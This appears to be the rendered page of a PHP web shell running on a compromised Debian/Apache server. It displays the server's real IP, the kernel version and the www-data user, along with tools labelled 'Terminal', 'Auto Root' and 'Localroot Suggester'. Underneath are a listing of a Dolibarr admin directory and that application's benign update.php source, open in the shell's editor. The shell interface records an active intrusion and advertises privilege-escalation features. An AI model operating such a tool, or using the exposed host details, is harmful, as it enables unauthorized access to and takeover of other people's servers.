Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
gf.bdcloud.fr /
admin /
tools /
Delete
Unzip
Name
Size
Permission
Date
Action
dolibarr_export.php
23.14
KB
-rw-r--r--
2020-10-12 13:32
dolibarr_import.php
6.7
KB
-rw-r--r--
2020-10-12 13:32
export.php
8.13
KB
-rw-r--r--
2020-10-12 13:32
export_files.php
5.35
KB
-rw-r--r--
2020-10-12 13:32
index.php
1.8
KB
-rw-r--r--
2020-10-12 13:32
listevents.php
12.95
KB
-rw-r--r--
2020-10-12 13:32
listsessions.php
6.3
KB
-rw-r--r--
2020-10-12 13:32
purge.php
4.05
KB
-rw-r--r--
2020-10-12 13:32
update.php
4.54
KB
-rw-r--r--
2020-10-12 13:32
Save
Rename
<?php /* Copyright (C) 2007-2017 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2009-2012 Regis Houssin <regis.houssin@inodbox.com> * Copyright (C) 2012 Juanjo Menent <jmenent@2byte.es> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/admin/tools/update.php * \brief Page to make a Dolibarr online upgrade */ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/geturl.lib.php'; // Load translation files required by the page $langs->loadLangs(array("admin", "other")); $action = GETPOST('action', 'alpha'); if (!$user->admin) accessforbidden(); if (GETPOST('msg', 'alpha')) { setEventMessages(GETPOST('msg', 'alpha'), null, 'errors'); } $urldolibarr = 'https://www.dolibarr.org/downloads/'; $dolibarrroot = preg_replace('/([\\/]+)$/i', '', DOL_DOCUMENT_ROOT); $dolibarrroot = preg_replace('/([^\\/]+)$/i', '', $dolibarrroot); $dolibarrdataroot = preg_replace('/([\\/]+)$/i', '', DOL_DATA_ROOT); $sfurl = ''; $version = '0.0'; /* * Actions */ if ($action == 'getlastversion') { $result = getURLContent('http://sourceforge.net/projects/dolibarr/rss'); //var_dump($result['content']); $sfurl = simplexml_load_string($result['content']); } /* * View */ $wikihelp = 'EN:Installation_-_Upgrade|FR:Installation_-_Mise_à_jour|ES:Instalación_-_Actualización'; llxHeader('', $langs->trans("Upgrade"), $wikihelp); print load_fiche_titre($langs->trans("Upgrade"), '', 'title_setup'); print '<br>'; print $langs->trans("CurrentVersion").' : <strong>'.DOL_VERSION.'</strong><br>'; if (function_exists('curl_init')) { $conf->global->MAIN_USE_RESPONSE_TIMEOUT = 10; if ($action == 'getlastversion') { if ($sfurl) { $i = 0; while (!empty($sfurl->channel[0]->item[$i]->title) && $i < 10000) { $title = $sfurl->channel[0]->item[$i]->title; if (preg_match('/([0-9]+\.([0-9\.]+))/', $title, $reg)) { $newversion = $reg[1]; $newversionarray = explode('.', $newversion); $versionarray = explode('.', $version); //var_dump($newversionarray);var_dump($versionarray); if (versioncompare($newversionarray, $versionarray) > 0) $version = $newversion; } $i++; } // Show version print $langs->trans("LastStableVersion").' : <b>'.(($version != '0.0') ? $version : $langs->trans("Unknown")).'</b><br>'; } else { print $langs->trans("LastStableVersion").' : <b>'.$langs->trans("UpdateServerOffline").'</b><br>'; } } else { print $langs->trans("LastStableVersion").' : <a href="'.$_SERVER["PHP_SELF"].'?action=getlastversion" class="button">'.$langs->trans("Check").'</a><br>'; } } print '<br>'; print '<br>'; // Upgrade print $langs->trans("Upgrade").'<br>'; print '<hr>'; print $langs->trans("ThisIsProcessToFollow").'<br>'; print '<b>'.$langs->trans("StepNb", 1).'</b>: '; $fullurl = '<a href="'.$urldolibarr.'" target="_blank">'.$urldolibarr.'</a>'; print $langs->trans("DownloadPackageFromWebSite", $fullurl).'<br>'; print '<b>'.$langs->trans("StepNb", 2).'</b>: '; print $langs->trans("UnpackPackageInDolibarrRoot", $dolibarrroot).'<br>'; print '<b>'.$langs->trans("StepNb", 3).'</b>: '; print $langs->trans("RemoveLock", $dolibarrdataroot.'/install.lock').'<br>'; print '<b>'.$langs->trans("StepNb", 4).'</b>: '; $fullurl = '<a href="'.DOL_URL_ROOT.'/install/" target="_blank">'.DOL_URL_ROOT.'/install/</a>'; print $langs->trans("CallUpdatePage", $fullurl).'<br>'; print '<b>'.$langs->trans("StepNb", 5).'</b>: '; print $langs->trans("RestoreLock", $dolibarrdataroot.'/install.lock').'<br>'; print '<br>'; print '<br>'; print $langs->trans("AddExtensionThemeModuleOrOther").'<br>'; print '<hr>'; print $langs->trans("GoModuleSetupArea", DOL_URL_ROOT.'/admin/modules.php?mode=deploy', $langs->transnoentities("Home").' - '.$langs->transnoentities("Setup").' - '.$langs->transnoentities("Modules")); // End of page llxFooter(); $db->close();